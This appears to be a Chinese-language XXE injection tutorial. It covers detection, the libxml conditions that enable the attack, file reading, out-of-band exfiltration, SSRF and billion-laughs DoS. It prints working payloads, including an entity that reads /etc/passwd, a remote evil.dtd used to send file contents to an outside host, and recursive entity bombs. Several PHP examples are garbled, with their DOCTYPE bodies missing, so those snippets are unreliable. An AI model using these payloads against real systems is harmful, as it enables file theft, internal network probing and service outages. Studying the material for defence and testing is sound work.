XXE(XML External Entity,XML)外部实体
注入攻击。
— — 攻击者通过构造恶意的外部实体
,当解析器解析了包含“恶意”外部实体的XML类型文件时,便会导致被XXE攻击。XXE漏洞主要由于危险的外部实体引用并且未对外部实体进行敏感字符的过滤,从而可以造成命令执行,目录遍历等。
这里是不是很像XSS注入
— — 在解析XML文档的过程中,关键字’SYSTEM’会告诉XML解析器,entityex 实体的值将从其后的URI中读取。实体entityex的值会被替换为URI(file://etc/passwd)内容值。(如下图)
— — 因此,攻击者可以通过实体将他自定义的值发送给应用程序,然后让应用程序去呈现。
— — 简单来说,攻击者强制XML解析器去访问攻击者指定的本地系统上或是远程系统上的资源内容。
1、POST请求
2、MIME 文件传输格式为 XML
3、请求头中 Content-type: application/xml text/xml application/json
4、带有非常明显的xml标签的,即自定义的标签
5、利用DNSLog来验证是否存在XXE
将数据包改一下:
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE value [
<!ENTITY xxe SYSTEM "http://yu7bis.dnslog.cn" >
]>
<value>&xxe;</value>
ps:可以修改其Content-Type为application/xml,并尝试进行XXE注入
网站是否开启了外部实体解析
因素一:
libxml<2.9.0 版本 默认开启了外部实体解析
因素二:
网站管理员开启了外部实体解析
低版本php
libxml<2.9.1
设置了libxml_disable_entity_loader(禁用加载外部实体的能力)为FALSE
XXE的攻击方式分为显式攻击
和盲攻击
两种:
现实中存在的大多数XXE漏洞都是blind,必须采用带外通道OOB(Out-of-band)进行返回信息的记录,这里简单来说就是攻击者必须有一台具有公网ip的主机。
下面是XML.php内容:
$xml = <<<EOF
]>
&f;
EOF;
$data = simplexml_load_string($xml);
print_r($data);
?>
访问XML.php可以读取etc/passwd文件内容
当页面没有回显的话,可以将文件内容发送到远程服务器,然后读取。
下面是XML.php内容:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a[
<!ENTITY % f SYSTEM "http://www.m03.com/evil.dtd">
%f;
]>
<a>&b;</a>
$data = simplexml_load_string($xml);
print_r($data);
?>
下面是evil.dtd内容:
<!ENTITY b SYSTEM "file:///etc/passwd">
(情况相对较少见)
php环境下,xml命令执行要求php装有expect扩展。而该扩展默认没有安装(正常人谁会去安装这东西啊,所以命令执行的情况相对较少见)
。
下面是XML.php内容:
$xml = <<<EOF
]>
&f;
EOF;
$data = simplexml_load_string($xml);
print_r($data);
?>
由于xml实体注入攻击可以利用http://协议,也就是可以发起http请求。可以利用该请求去探查内网,进行SSRF攻击。
通过创建一项递归的XML定义,在内存中生成十亿个“Ha! ”字符串,从而导致 DDos 攻击。原理为:构造恶意的XML实体文件耗尽可用内存,因为许多XML解析器在解析XML文档时倾向于将它的整个结构保留在内存中。
攻击代码如下:
<!DOCTYPE data [
<!ENTITY a0 "dos">
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;" >
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;" >
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;" >
]>
<data>&a4;</data>
上面代码相当于有1+10+10*10+10*10*10+10*10*10*10=11111
个实体引用,这里文件大小只有30kb,却超出了合法的实体引用数量上限。
攻击代码如下:
<!DOCTYPE data SYSTEM "http://127.0.0.1/dos.dtd" [
<!ELEMENT data (#PCDATA)>
]>
<data>&g;</data>
http://127.0.0.1/dos.dtd文件的内容:
<!ENTITY a0 "dos">
<!ENTITY % a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;" >
<!ENTITY % a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY % a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;" >
<!ENTITY % a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;" >
<!ENTITY g "%a4;">
xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY % start ">
<!ENTITY % goodies SYSTEM "file:///sys/power/image_size">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://publicServer.com/parameterEntity_core.dtd">
%dtd;
]>
<data>&all;</data>
文件http://publicServer.com/parameterEntity_core.dtd的内容:
<!ENTITY all '%start;%goodies;%end;'>
这里是把XML语句拆成3个参数来绕过
XML介绍
靶场演示